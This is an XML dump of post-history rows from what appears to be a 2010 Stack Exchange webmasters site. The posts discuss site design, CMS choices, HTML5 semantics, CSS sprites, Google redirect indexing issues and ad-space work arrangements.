  <row Id="5361" PostHistoryTypeId="2" PostId="2762" RevisionGUID="2d3fa6d9-ba56-44e7-a17c-a5eee5401cf8" CreationDate="2010-09-03T12:46:11.347" UserId="1834" Text="On sites that the user visits expecting music, either as primary (websites of bands, labels, individual music-related products, such as Original Soundtracks etc) or as secondary yet required content (sites promoting movies, computer games, musical instruments and equipment etc.) Even in these cases autoplaying music and/or video is discouraged. You may want to play a relatively non-intrusive (white-noise like), enticing soundscape (rain, ominous ambience etc) instead - but leave the decision of actually starting music/video to your users.&#xD;&#xA;&#xD;&#xA;Otherwise the best answer seems to be &quot;never&quot;... at least never with autoplay." />
  <row Id="5362" PostHistoryTypeId="2" PostId="2763" RevisionGUID="8ee646c5-8372-4e71-b9df-12f42b8eb378" CreationDate="2010-09-03T12:58:52.863" UserId="1793" Text="800x600 I'd say no. I would suggest 1024x768 as the minimum page size, but be sure that the site is still usable for netbook users, who typically have the 600 pixel vertical limitation of their screens.&#xD;&#xA;&#xD;&#xA;I don't mind making netbook users scroll to get to the content, but make sure that any pop-ups and the like fit within that 600 pixel vertical limit - especially important if you've got a &quot;Submit&quot; button at the bottom of it ;?)&#xD;&#xA;&#xD;&#xA;Make sure you test the site at the 1024x600 setting to ensure that the ever-growing netbook user population can make do with the site." />
  <row Id="5363" PostHistoryTypeId="2" PostId="2764" RevisionGUID="11c2f447-435b-4f29-88f8-d970e5a7073a" CreationDate="2010-09-03T13:01:35.530" UserId="1253" Text="**Wordpress**&#xD;&#xA;&#xD;&#xA;Strengths&#xD;&#xA;&#xD;&#xA; - It's easy to use  and intuitive &#xD;&#xA; - Literally installs in 5 minutes&#xD;&#xA; - Very flexible&#xD;&#xA; - Very well optimized for search (SEO)&#xD;&#xA; - Lots of plug-ins and themes available&#xD;&#xA; - Easy template modification (if you want use your own custom theme)&#xD;&#xA; - Easy to host (uses PHP/MySQL which virtually every webhost offers)&#xD;&#xA;&#xD;&#xA;Weaknesses&#xD;&#xA;&#xD;&#xA; - More geared towards blogging&#xD;&#xA; - Seems to have an above average amount of security issues (though a low amount overall)&#xD;&#xA; - Relatively slow by default (can be sped up with plug-ins)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5364" PostHistoryTypeId="16" PostId="2764" RevisionGUID="11c2f447-435b-4f29-88f8-d970e5a7073a" CreationDate="2010-09-03T13:01:35.530" UserId="-1" />
  <row Id="5365" PostHistoryTypeId="12" PostId="2764" RevisionGUID="0913c598-2df5-4ac5-9d88-48e76c90782b" CreationDate="2010-09-03T13:06:50.660" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="5366" PostHistoryTypeId="5" PostId="2757" RevisionGUID="a9ad4b1e-0e5f-4857-9fff-e3d21d7a31ab" CreationDate="2010-09-03T13:25:35.637" UserId="221" Comment="added 12 characters in body; edited title" Text="I'd like to *grok* the ultimate nature of `&lt;aside&gt;`, `&lt;section&gt;`, `&lt;article&gt;`.&#xD;&#xA;&#xD;&#xA;What is the best, most semantically correct structure of a blog page using HTML5 tags?&#xD;&#xA;&#xD;&#xA;Should I put the sidebar inside an `&lt;aside&gt;`? Or does this rather belong into a `&lt;section&gt;` (as `&lt;aside&gt;` should be used for advertisements, short quotes and such)?&#xD;&#xA;&#xD;&#xA;How should I present the main feature, the blog post? How do I use `&lt;article&gt;` correctly?&#xD;&#xA;&#xD;&#xA;How should I mark-up the article tags?" />
  <row Id="5367" PostHistoryTypeId="4" PostId="2757" RevisionGUID="a9ad4b1e-0e5f-4857-9fff-e3d21d7a31ab" CreationDate="2010-09-03T13:25:35.637" UserId="221" Comment="added 12 characters in body; edited title" Text="What is the most semantically correct structure of a blog page using HTML5 tags?" />
  <row Id="5368" PostHistoryTypeId="2" PostId="2765" RevisionGUID="88536267-19e0-4408-9bf9-6f08640c0988" CreationDate="2010-09-03T14:24:51.477" UserId="233" Text="This is more suited to Stack Overflow, but regardless...&#xD;&#xA;&#xD;&#xA;Like bpeterson said, it sounds like a relative path problem with the CSS/JS. This is easily fixed by starting all URLs with a leading slash and putting the path from the site root. For example, if a file is at:&#xD;&#xA;&#xD;&#xA;    yoursite.com/css/ECM_HelpFile.css&#xD;&#xA;&#xD;&#xA;You can include it with:&#xD;&#xA;&#xD;&#xA;    &lt;link href=&quot;/css/ecmNavigation.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Secondly, it looks like you are including the CSS twice, so will want to remove those two lines from the template.php file." />
  <row Id="5369" PostHistoryTypeId="5" PostId="2764" RevisionGUID="273cd94e-7e04-4bdf-8a27-ef21451ebbd5" CreationDate="2010-09-03T14:25:34.917" UserId="1253" Comment="deleted 68 characters in body" Text="**Drupal**&#xD;&#xA;&#xD;&#xA;Strengths&#xD;&#xA;&#xD;&#xA; - Open Source (free) &#xD;&#xA; - Very active community of contributors &#xD;&#xA; - Customizable (lots of add ons available for site customization plus you can create your own) &#xD;&#xA; - Lots of downloadable, free themes that work out of the box, or can be customized. &#xD;&#xA; - Scalable &#xD;&#xA; - Cross-platform (LAMP, MAMP, WAMP)&#xD;&#xA;&#xD;&#xA;Weaknesses&#xD;&#xA;&#xD;&#xA; - Documentation can be better&#xD;&#xA; - Inexperienced developers may face a slow ramp up time&#xD;&#xA; - Might be overkill for smaller projects&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5370" PostHistoryTypeId="13" PostId="2764" RevisionGUID="26630bcb-4437-4401-aa14-1a18c3aecd36" CreationDate="2010-09-03T14:25:48.517" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="5371" PostHistoryTypeId="2" PostId="2766" RevisionGUID="82d95ad7-b456-4734-8b10-1b369d19ceec" CreationDate="2010-09-03T14:27:52.013" UserId="106" Text="## Drupal ##&#xD;&#xA;&#xD;&#xA;Drupal is powerful and flexible, but not the easiest system to get to know.&#xD;&#xA;&#xD;&#xA;Strengths:&#xD;&#xA;&#xD;&#xA; - Powerful Module architecture that has allowed for lots of great add-ons.&#xD;&#xA; - Large helpful community that offers support and guidance freely.&#xD;&#xA; - Good templating system that allows for near complete control of design.&#xD;&#xA; - Large template gallery with many options to start with.&#xD;&#xA; - Used by several high traffic sites and small sites, which means the community has people in it that can help with both.&#xD;&#xA; - Large collection of talented consultants available to support&#xD;&#xA;&#xD;&#xA;Weaknesses:&#xD;&#xA;&#xD;&#xA; - Complicated to get to know.&#xD;&#xA; - Documentation could be better.&#xD;&#xA; - steep learning curve if working alone.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5372" PostHistoryTypeId="16" PostId="2766" RevisionGUID="82d95ad7-b456-4734-8b10-1b369d19ceec" CreationDate="2010-09-03T14:27:52.013" UserId="-1" />
  <row Id="5373" PostHistoryTypeId="5" PostId="2764" RevisionGUID="08d188e3-0026-489d-ae42-cc330f1a14b5" CreationDate="2010-09-03T15:17:18.820" UserId="1253" Comment="deleted 2 characters in body" Text="##Drupal&#xD;&#xA;&#xD;&#xA;Strengths&#xD;&#xA;&#xD;&#xA; - Open Source (free) &#xD;&#xA; - Very active community of contributors &#xD;&#xA; - Customizable (lots of add ons available for site customization plus you can create your own) &#xD;&#xA; - Lots of downloadable, free themes that work out of the box, or can be customized. &#xD;&#xA; - Scalable &#xD;&#xA; - Cross-platform (LAMP, MAMP, WAMP)&#xD;&#xA;&#xD;&#xA;Weaknesses&#xD;&#xA;&#xD;&#xA; - Documentation can be better&#xD;&#xA; - Inexperienced developers may face a slow ramp up time&#xD;&#xA; - Might be overkill for smaller projects&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5374" PostHistoryTypeId="2" PostId="2767" RevisionGUID="de563de0-123f-45f8-a7f2-cd0e16da0643" CreationDate="2010-09-03T15:48:47.097" UserId="100" Text="You want to use for Blog posts is &lt;article&gt;. Mark Pilgrim has a really good [explanation][1]. He also explains how to mark-up articles just below the list of definitions on his site. This is a fantastic book for learning HTML 5 and CSS.&#xD;&#xA;&#xD;&#xA;&quot;The article element represents a component of a page that consists of a self-contained composition in a document, page, application, or site and that is intended to be independently distributable or reusable, e.g. in syndication.&quot;&#xD;&#xA;&#xD;&#xA;Aside is for &quot;tangentially related&quot; elements and the section represents &quot;represents a generic document or application section.&quot;&#xD;&#xA;&#xD;&#xA;  [1]: http://diveintohtml5.org/semantics.html#new-elementsBlockquote" />
  <row Id="5375" PostHistoryTypeId="5" PostId="2767" RevisionGUID="dd8671dd-ea02-40e4-98ae-f2842abe7f2a" CreationDate="2010-09-03T15:54:40.877" UserId="100" Comment="updated article as code" Text="You want to use `&lt;article&gt;` for Blog posts. Mark Pilgrim has a really good [explanation][1] of how to use each tag. He also explains how to mark-up the `article` just below the list of definitions on his site. This is a fantastic book for learning HTML 5 and CSS.&#xD;&#xA;&#xD;&#xA;&quot;The article element represents a component of a page that consists of a self-contained composition in a document, page, application, or site and that is intended to be independently distributable or reusable, e.g. in syndication.&quot;&#xD;&#xA;&#xD;&#xA;Aside is for &quot;tangentially related&quot; elements and the section represents &quot;represents a generic document or application section.&quot;&#xD;&#xA;&#xD;&#xA;  [1]: http://diveintohtml5.org/semantics.html#new-elementsBlockquote" />
  <row Id="5376" PostHistoryTypeId="2" PostId="2768" RevisionGUID="17e7e59f-69f4-4a5c-aeb3-01f3460954df" CreationDate="2010-09-03T16:21:05.703" UserId="2399" Text="Your site design should depend entirely on your target audience.&#xD;&#xA;&#xD;&#xA;In most cases, most visitors to your website will have a resolution of greater than 800x600. You can check this using an analytics tool such as Google Analytics." />
  <row Id="5377" PostHistoryTypeId="2" PostId="2769" RevisionGUID="399e7a2c-0a13-40ce-b597-ca2bdad6e6e4" CreationDate="2010-09-03T18:05:17.670" UserId="239" Text="Last week one of the guy's at our office did a talk on [using Google's Website Optimizer for AB multivariate testing][1].  In the talk, he says that when you set it up you just add some special code to the page around the HTML you want to vary [ [see #3 under multivariate test here][2] ]&#xD;&#xA;&#xD;&#xA;    &lt;script&gt;utmx_section(&quot;Headline&quot;)&lt;/script&gt;&#xD;&#xA;    Welcome!&#xD;&#xA;    &lt;/noscript&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What's going on with that unbalanced tag at the end?  What magic is Google doing?&#xD;&#xA;&#xD;&#xA;  [1]: http://youtu.be/pDQsfMZQ44A&#xD;&#xA;  [2]: http://www.google.com/support/websiteoptimizer/bin/answer.py?answer=61149&amp;cbid=12f2m8jp0akf0&amp;src=cb&amp;lev=%20index#m3&#xD;&#xA;" />
  <row Id="5378" PostHistoryTypeId="1" PostId="2769" RevisionGUID="399e7a2c-0a13-40ce-b597-ca2bdad6e6e4" CreationDate="2010-09-03T18:05:17.670" UserId="239" Text="How does Google's Website Optimizer do all its funky goodness with an unbalanced &lt;/noscript&gt; tag?" />
  <row Id="5379" PostHistoryTypeId="3" PostId="2769" RevisionGUID="399e7a2c-0a13-40ce-b597-ca2bdad6e6e4" CreationDate="2010-09-03T18:05:17.670" UserId="239" Text="&lt;google-webmaster-tools&gt;" />
  <row Id="5380" PostHistoryTypeId="6" PostId="2769" RevisionGUID="0f5e3d80-bcd4-4d10-abc4-7114479e765d" CreationDate="2010-09-03T19:06:51.810" UserId="221" Comment="edited tags" Text="&lt;google-website-optimizer&gt;" />
  <row Id="5381" PostHistoryTypeId="2" PostId="2770" RevisionGUID="7332f639-0b24-4598-b289-d5a56872668c" CreationDate="2010-09-03T19:55:52.750" UserId="1843" Text="Will Google's crawler refuse to follow redirects when the difference between the redirected-from and redirected-to URLs is solely whether specific characters are percent-encoded or not? For example:&#xD;&#xA;&#xD;&#xA;- www.splunkbase.com/apps/All/4.x/Add-On/app:PDF+Report+Server+%28install+on+Linux+only%29&#xD;&#xA;- www.splunkbase.com/apps/All/4.x/Add-On/app:PDF+Report+Server+(install+on+Linux+only)&#xD;&#xA;&#xD;&#xA;Both of these are, per the HTTP specs, valid and equivalent URIs, but our site's code always redirects to a &quot;canonical&quot; URL for each content page-- which in this case is the first URL listed. &#xD;&#xA;&#xD;&#xA;Google clearly isn't indexing this page (in either URL variant). Neither of the URLs above show up when I search for [&quot;PDF Report Server (install on Linux only)&quot;][1]. &#xD;&#xA;&#xD;&#xA;Google webmaster tools reports a &quot;redirect error&quot; for the &quot;decoded&quot; variant of the URL:&#xD;&#xA;www.splunkbase.com/apps/All/4.x/Add-On/app:PDF+Report+Server+(install+on+Linux+only)&#xD;&#xA;&#xD;&#xA;Another problem is that we're currently using a 302 instead of a 301 redirect to handle canonicalization-- we're switching to 301s soon for canonicalizing redirects.&#xD;&#xA;&#xD;&#xA;But I'm wondering if the 302 vs. 301 issue may be a red herring-- that the actual underlying issue may be that, in Google's eyes, we're redirecting a URL to itself since, per the HTTP specs, a perecent-encoded and non-percent-encoded URL should be treated the same by clients and servers. &#xD;&#xA;&#xD;&#xA;I found a related thread [here][2]. It's not the same issue-- in their case the only difference between redirected URLs was the upper/lower case of the percent-encoded hex values. But it's suspiciously similar to our issue. &#xD;&#xA;&#xD;&#xA;Finally, my question: **Has anyone run into this percent-encoding-plus-redirect issue, and if so can you discuss how you worked around it?  Did switching to a 301 fix it, or was more needed?**&#xD;&#xA;&#xD;&#xA;For workarounds beyond 301-ing, we're looking at a variety of options from using REL=CANONICAL and turning off redirection, to modifying our escaping to turn off escaping of apostrophes, parentheses, and other not-usually-percent-escaped characters.  &#xD;&#xA;&#xD;&#xA;For long-term fixes, we're looking at:&#xD;&#xA;- switching, like this site does, to using a numeric ID as a key and adding REL=CANONICAL to handle changes in SEO text after the title. &#xD;&#xA;- like many blogs do, continuing to use the title as the canonical URL, but switching all problematic characters with dashes&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=%22PDF+Report+Server+(install+on+Linux+only)%22&#xD;&#xA;  [2]: http://www.google.com/support/forum/p/Webmasters/thread?tid=38c1a30a8c13fe7b&amp;hl=en" />
  <row Id="5382" PostHistoryTypeId="1" PostId="2770" RevisionGUID="7332f639-0b24-4598-b289-d5a56872668c" CreationDate="2010-09-03T19:55:52.750" UserId="1843" Text="Can a Webmaster Tools &quot;redirect error&quot; be caused by redirects which differ only in percent-encoding/decoding?" />
  <row Id="5383" PostHistoryTypeId="3" PostId="2770" RevisionGUID="7332f639-0b24-4598-b289-d5a56872668c" CreationDate="2010-09-03T19:55:52.750" UserId="1843" Text="&lt;seo&gt;&lt;google&gt;&lt;redirects&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="5384" PostHistoryTypeId="2" PostId="2771" RevisionGUID="9e11782b-dd74-47bf-b872-1cdc995d5578" CreationDate="2010-09-03T20:02:49.993" UserId="1603" Text="The `utmx_section(&quot;Headline&quot;)` command will execute as the document is parsed. If it emits a `&lt;noscript&gt;` tag using document.write() the browser will ignore that particular section, until it meets the `&lt;/noscript&gt;` tag.&#xD;&#xA;&#xD;&#xA;Here is the same trick, but with a h1:&#xD;&#xA;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;      &lt;head&gt;&lt;title&gt;Spike&lt;/title&gt;&lt;/head&gt;&#xD;&#xA;      &lt;body&gt;&#xD;&#xA;        &lt;script&gt;document.write('&lt;h1&gt;');&lt;/script&gt;&#xD;&#xA;          Header&#xD;&#xA;        &lt;/h1&gt;&#xD;&#xA;        &lt;p&gt;That's how...&lt;/p&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;this will give a body looking like&#xD;&#xA;&#xD;&#xA;        &lt;h1&gt;Header&lt;/h1&gt;&#xD;&#xA;        &lt;p&gt;That's how...&lt;/p&gt;&#xD;&#xA;" />
  <row Id="5385" PostHistoryTypeId="2" PostId="2772" RevisionGUID="0fbbabd0-cc47-494c-9657-e1af7d3a0df3" CreationDate="2010-09-03T20:51:02.423" UserId="1323" Text="I understand there are tools on the net to make a sprite, but I'd like to learn how to create icons for the different states of the icon?&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;(Also, can you tell me how I can better word my question so it doesn't sound like I'm asking for sprite advice?)&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/RGYUS.png" />
  <row Id="5386" PostHistoryTypeId="1" PostId="2772" RevisionGUID="0fbbabd0-cc47-494c-9657-e1af7d3a0df3" CreationDate="2010-09-03T20:51:02.423" UserId="1323" Text="How do I make a sprite full of different images (hover, non-hover, etc)?" />
  <row Id="5387" PostHistoryTypeId="3" PostId="2772" RevisionGUID="0fbbabd0-cc47-494c-9657-e1af7d3a0df3" CreationDate="2010-09-03T20:51:02.423" UserId="1323" Text="&lt;css&gt;&lt;images&gt;&lt;graphics&gt;&lt;dynamic&gt;" />
  <row Id="5388" PostHistoryTypeId="2" PostId="2773" RevisionGUID="2dcbf2c9-3fb4-4f18-922e-ff09b0b7cfe3" CreationDate="2010-09-03T20:56:39.500" UserId="1848" Text="I've been approached to do web development work in exchange for ad space: All revenue from a yet-to-be-agreed-upon number of pages would go straight to me.  To keep things simple, we have agreed on Google AdSense.&#xD;&#xA;&#xD;&#xA;Obviously everyone thinks their new site will be the new cat's meow.  So this would be up to me to determine cost/benefit of my time.&#xD;&#xA;&#xD;&#xA;Assuming you would do it.....&#xD;&#xA;&#xD;&#xA;...tell me your **&quot;BIG IF&quot;**.&#xD;&#xA;&#xD;&#xA;Here are some things I've considered:&#xD;&#xA;&#xD;&#xA; 1. I must be awarded **X** amount of pixels in the top **Y** pixels of web page.&#xD;&#xA; 2. I must be awarded **X** number of pages.&#xD;&#xA; 3. I must be awarded **X** number of page views... &#xD;&#xA; 4. Work performed will be limited to craft (no data entry, writing content, etc. purely web related work).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5389" PostHistoryTypeId="1" PostId="2773" RevisionGUID="2dcbf2c9-3fb4-4f18-922e-ff09b0b7cfe3" CreationDate="2010-09-03T20:56:39.500" UserId="1848" Text="What to consider if working for ad space?" />
  <row Id="5390" PostHistoryTypeId="3" PostId="2773" RevisionGUID="2dcbf2c9-3fb4-4f18-922e-ff09b0b7cfe3" CreationDate="2010-09-03T20:56:39.500" UserId="1848" Text="&lt;web-development&gt;&lt;advertising&gt;&lt;payments&gt;" />
  <row Id="5391" PostHistoryTypeId="2" PostId="2774" RevisionGUID="2df19c67-5d85-4b4d-9a4a-96f6d6707db1" CreationDate="2010-09-03T21:02:38.540" UserId="1489" Text="Craigslist is a great place to find work local in your area." />
  <row Id="5392" PostHistoryTypeId="5" PostId="2772" RevisionGUID="ff15d7f4-9010-46cf-b36b-f0b39a930665" CreationDate="2010-09-03T21:04:43.287" UserId="1323" Comment="added 75 characters in body" Text="I understand there are tools on the net to make a sprite, but I'd like to learn how to create icons for the different states of the icon.  Is there an easy way to make all these different variations of this icon:&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;(Also, can you tell me how I can better word my question so it doesn't sound like I'm asking for sprite advice?)&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/RGYUS.png" />
  <row Id="5394" PostHistoryTypeId="2" PostId="2775" RevisionGUID="819b0378-2f12-42a2-93bf-0a6b61e247ab" CreationDate="2010-09-03T21:15:00.307" UserId="1022" Text="For `&lt;aside&gt;`, think of that like the theatrical aside: the story is put on hold to explain something to the audience, veering off on a tangent for a short bit before returning to the main focus. E.g.:&#xD;&#xA;&#xD;&#xA;    &lt;article&gt;&#xD;&#xA;         &lt;p&gt;A horse walks into a bar.&lt;/p&gt;&#xD;&#xA;         &lt;p&gt;The bartender says, &quot;Why the long face?&quot;&lt;/p&gt;&#xD;&#xA;         &lt;aside&gt;Not because it was sad, horses just have long faces.&lt;/aside&gt;&#xD;&#xA;    &lt;/article&gt;&#xD;&#xA;&#xD;&#xA;Terrible example, but a valid one.  Chances are it will be useful for things like pull-quotes and other article-relevant tangents, but as a **purely semantic** tag, advertisements generally don't belong.&#xD;&#xA;&#xD;&#xA;A keyword-driven ad system won't care about semantically fitting your content, it's more interested in matching demographics. If your `&lt;article&gt;` is only about PHP, and it pulls ads related to Python/Perl/Java (it will, at some point), your `&lt;aside&gt;` just lost it's meaning.  You're better off putting those elsewhere on the page.&#xD;&#xA;" />
  <row Id="5395" PostHistoryTypeId="2" PostId="2776" RevisionGUID="05a1b9ce-3ea6-4287-8cc3-3f3aed4f42a5" CreationDate="2010-09-03T21:16:45.020" UserId="1848" Text="If I understand your question, and you already know that a sprite is really just an image-combining-image, then the last part you need to know is about the CSS.&#xD;&#xA;&#xD;&#xA;The CSS is what associates a portion of your image with a state.  You create the html representing the button, assign it a class, then you write up your CSS.&#xD;&#xA;&#xD;&#xA;    .my-button{&#xD;&#xA;        width:20px;&#xD;&#xA;        height:20px;&#xD;&#xA;        background:url('my-button-sprite.gif') top left no-repeat;&#xD;&#xA;    }&#xD;&#xA;    .my-button:hover{background-position: 20px 0px;}&#xD;&#xA;&#xD;&#xA;Just add an appropriate horizontal offset (the first number) to bump the sprite where it should appear for the desired state." />
  <row Id="5396" PostHistoryTypeId="2" PostId="2777" RevisionGUID="8a9d0da1-e098-42df-b33d-a3696540fe34" CreationDate="2010-09-03T21:17:35.907" UserId="745" Text="Hover images aren't the only use for a CSS sprite, you can also use a sprite for static images  or different icon states. You would create a single image pretty much like you have given as an example and use different CSS background coordinates for each icon state. The trick is just getting the background coordinates right." />
  <row Id="5397" PostHistoryTypeId="2" PostId="2778" RevisionGUID="16c2670d-5999-4ab0-97b3-64181a29d746" CreationDate="2010-09-03T21:34:52.770" UserId="1022" Text="Consider getting involved in open source projects. It's invaluable experience - working in teams, networking with peers, challenging yourself by taking on tasks you aren't familiar with, etc. For .NET-related projects, [Codeplex][1] is ground zero.&#xD;&#xA;&#xD;&#xA;If you can't find the &quot;right&quot; OSS project to join, create one.  Even if it's just you working by yourself, re-inventing the same old wheels, putting it out freely into the world will draw attention to it, and draw like-minded peers (and possibly plenty of harsh criticism, but that's useful too) and help pave the way for future projects.&#xD;&#xA;&#xD;&#xA;As a bonus, you'll be able to stick it in your portfolio, which you generally won't be able to do as an employee for a company - they own the code, you can't do anything with it. This is huge: I'm in the middle of starting my own consultancy with a lot of holes in my own portfolio, and it stings a little.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.codeplex.com/&#xD;&#xA;" />
  <row Id="5398" PostHistoryTypeId="2" PostId="2779" RevisionGUID="bd271993-f62c-4840-b2df-ce49edc3f796" CreationDate="2010-09-03T22:35:43.583" UserId="711" Text="These URLs are theoretically equivalent, so a redirect is likely being seen as a redirect to itself, which would be a reason for a crawl error. In general, if that is the case (and I'm assuming that is so), then I would recommend not trying to canonicalize the URL on that level, I would not redirect a URL to an alternate representation of the same URL. &#xD;&#xA;&#xD;&#xA;Similarly, there's no need to use the rel=canonical link element for these two URLs. It's fine to use if there are alternate versions, such as different capitalization in the path or URL parameters, but just for these two URLs it will not have any effect. &#xD;&#xA;&#xD;&#xA;For what it's worth, an easy way to test how Google sees URLs like these is to use the Fetch as Googlebot function in Webmaster Tools. It will not follow redirects, so you should be able to see exactly which URLs are fetched, allowing you to try the different variations and see how it reacts. &#xD;&#xA;&#xD;&#xA;In a related note, using URLs such as the one you mentioned seems a bit problematic to me, since it may be difficult for users to link to URLs that use spaces (eg when copy &amp; pasting a URL into a forum). Given a proper link, Google will be able to follow it, but if the server-side software does not recognize the full URL, then that link may end up being broken." />
  <row Id="5399" PostHistoryTypeId="2" PostId="2780" RevisionGUID="cf3362ca-53d1-4939-9bfc-1aceb86a4c3b" CreationDate="2010-09-03T22:51:21.473" UserId="221" Text="I would not consider doing this under any circumstances **unless** they guarantee a minimum return from the ads and if it isn't met they will make up the difference.&#xD;&#xA;&#xD;&#xA;Such an arrangement provides them with the incentive to run the ads prominently.&#xD;&#xA;&#xD;&#xA;The minimum will likely be less then you would normally charge for such a site, since you have chance of making much more. It may even be prudent to specify a point at which you start to share the ad proceeds and another point at which you would be considered fully compensated.&#xD;&#xA;&#xD;&#xA;If the buyer is not amicable to this kind of arrangement, then that does not speak very highly of their confidence in the proposed site." />
  <row Id="5400" PostHistoryTypeId="2" PostId="2781" RevisionGUID="a7f00b99-c365-431f-ab33-d5f3b93fbe0a" CreationDate="2010-09-03T23:18:29.023" UserId="245" Text="* My DSL router disconnects, when I don't use it for 15 minutes, and I get a new IP each time.&#xD;&#xA;* My provider uses two or three very different IP ranges.&#xD;&#xA;* They force a disconnect every 24 hours (exactly like my previous two DSL providers did).&#xD;&#xA;" />
  <row Id="5401" PostHistoryTypeId="2" PostId="2782" RevisionGUID="e6dfd1f0-a298-4bf0-990e-812c423d1956" CreationDate="2010-09-04T00:48:33.210" UserId="1805" Text="What about doing a liquid layout instead of a fixed width layout? That way, you won't have to bother with browser resolutions and you still get the layout to look how you want it to be." />
  <row Id="5402" PostHistoryTypeId="2" PostId="2783" RevisionGUID="7a18c614-437b-4a9e-b2ab-02fdacbd9af5" CreationDate="2010-09-04T01:11:22.137" UserId="745" Text="Unless you need it for a portfolio item or this website has a clear business plan in a market where you are guaranteed a lot of traffic, **don't work for ad space**. Unless the other person has a proven track record of revenue producing sites, you're essentially working for free. It's [spec work][1]. Some things you need to ask yourself:&#xD;&#xA;&#xD;&#xA; - What is my hourly wage?&#xD;&#xA; - How many hours will I work?&#xD;&#xA; - Is the site likely to receive my&#xD;&#xA;   hourly wage x hours worked in ad&#xD;&#xA;   revenue?&#xD;&#xA; - What is the marketing plan for the&#xD;&#xA;   website?&#xD;&#xA; - Is the sole purpose of the website to&#xD;&#xA;   get revenue from Google AdSense? (It&#xD;&#xA;   will fail, if it is.)&#xD;&#xA; - Is the target market of the website&#xD;&#xA;   likely to click on ads?&#xD;&#xA;&#xD;&#xA;I'm sorry to word this so strongly, but I see far too many developers falling for this type of &quot;business deal&quot;. If they don't think enough of their idea to pay you, you will **never** see any revenue from the ads, at least not enough to cover your expenses. What is the risk of the other party? You're putting in your time, what are they doing? And if it fails, who bears the brunt of the cost?&#xD;&#xA;&#xD;&#xA;Some people genuinely don't have the money to pay for something, but if they can't manage their personal finances, it leaves me with little faith they will be able to run a business well.&#xD;&#xA;&#xD;&#xA;If I were you, I would either:&#xD;&#xA;&#xD;&#xA;**A)** Ask for money up front and don't budge from that position. Don't take *potential* ad revenue from something unproven.&#xD;&#xA;&#xD;&#xA;**B)** You have the skills to create a website. Why not create one for yourself and earn all the ad revenue from that website rather than relying on a piece of someone else's pie that has yet to be baked?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.no-spec.com/" />
  <row Id="5403" PostHistoryTypeId="5" PostId="2770" RevisionGUID="81ba4c2d-e061-4c09-9d41-38d672f39ab2" CreationDate="2010-09-04T01:26:38.247" UserId="1843" Comment="added 99 characters in body; edited title" Text="Will Google's crawler refuse to follow redirects when the difference between the redirected-from and redirected-to URLs is solely whether specific characters are percent-encoded or not? For example:&#xD;&#xA;&#xD;&#xA;- www.splunkbase.com/apps/All/4.x/Add-On/app:PDF+Report+Server+%28install+on+Linux+only%29&#xD;&#xA;- www.splunkbase.com/apps/All/4.x/Add-On/app:PDF+Report+Server+(install+on+Linux+only)&#xD;&#xA;&#xD;&#xA;Both of these are, per the HTTP specs, valid and equivalent URIs, but our site's code always redirects to a &quot;canonical&quot; URL for each content page-- which in this case is the first URL listed. &#xD;&#xA;&#xD;&#xA;Google clearly isn't indexing this page (in either URL variant). Neither of the URLs above show up when I search for [&quot;PDF Report Server (install on Linux only)&quot;][1]. &#xD;&#xA;&#xD;&#xA;Google webmaster tools reports a &quot;redirect error&quot; for the &quot;decoded&quot; variant of the URL:&#xD;&#xA;www.splunkbase.com/apps/All/4.x/Add-On/app:PDF+Report+Server+(install+on+Linux+only)&#xD;&#xA;&#xD;&#xA;Another problem is that we're currently using a 302 instead of a 301 redirect to handle canonicalization-- we're switching to 301s soon for canonicalizing redirects.&#xD;&#xA;&#xD;&#xA;But I'm wondering if the 302 vs. 301 issue may be a red herring-- that the actual underlying issue may be that, in Google's eyes, we're redirecting a URL to itself since, per the HTTP specs, a perecent-encoded and non-percent-encoded URL should be treated the same by clients and servers. &#xD;&#xA;&#xD;&#xA;I found a related thread [here][2]. It's not the same issue-- in their case the only difference between redirected URLs was the upper/lower case of the percent-encoded hex values. But it's suspiciously similar to our issue. &#xD;&#xA;&#xD;&#xA;Finally, my question: **Has anyone run into this percent-encoding-plus-redirect issue, and if so can you discuss how you worked around it?  Did switching to a 301 fix it, or was more needed?**&#xD;&#xA;&#xD;&#xA;For workarounds beyond 301-ing, we're looking at a variety of options from using REL=CANONICAL and turning off redirection in this case, to modifying our escaping to turn off escaping of apostrophes, parentheses, and other not-usually-percent-escaped characters.  &#xD;&#xA;&#xD;&#xA;For long-term fixes, we're looking at:&#xD;&#xA;&#xD;&#xA;- like this site does, using a numeric ID as a key, adding REL=CANONICAL to handle changes in SEO text after the title, and not doing any redirection&#xD;&#xA;- like many blogs do, continuing to use the title as the canonical URL, continue redirecting, but switching all problematic characters with dashes so we don't have to worry about encoding/decoding&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=%22PDF+Report+Server+(install+on+Linux+only)%22&#xD;&#xA;  [2]: http://www.google.com/support/forum/p/Webmasters/thread?tid=38c1a30a8c13fe7b&amp;hl=en" />
  <row Id="5404" PostHistoryTypeId="4" PostId="2770" RevisionGUID="81ba4c2d-e061-4c09-9d41-38d672f39ab2" CreationDate="2010-09-04T01:26:38.247" UserId="1843" Comment="added 99 characters in body; edited title" Text="Google isn't indexing URLs after a redirect that differs only in percent-encoding/decoding?" />
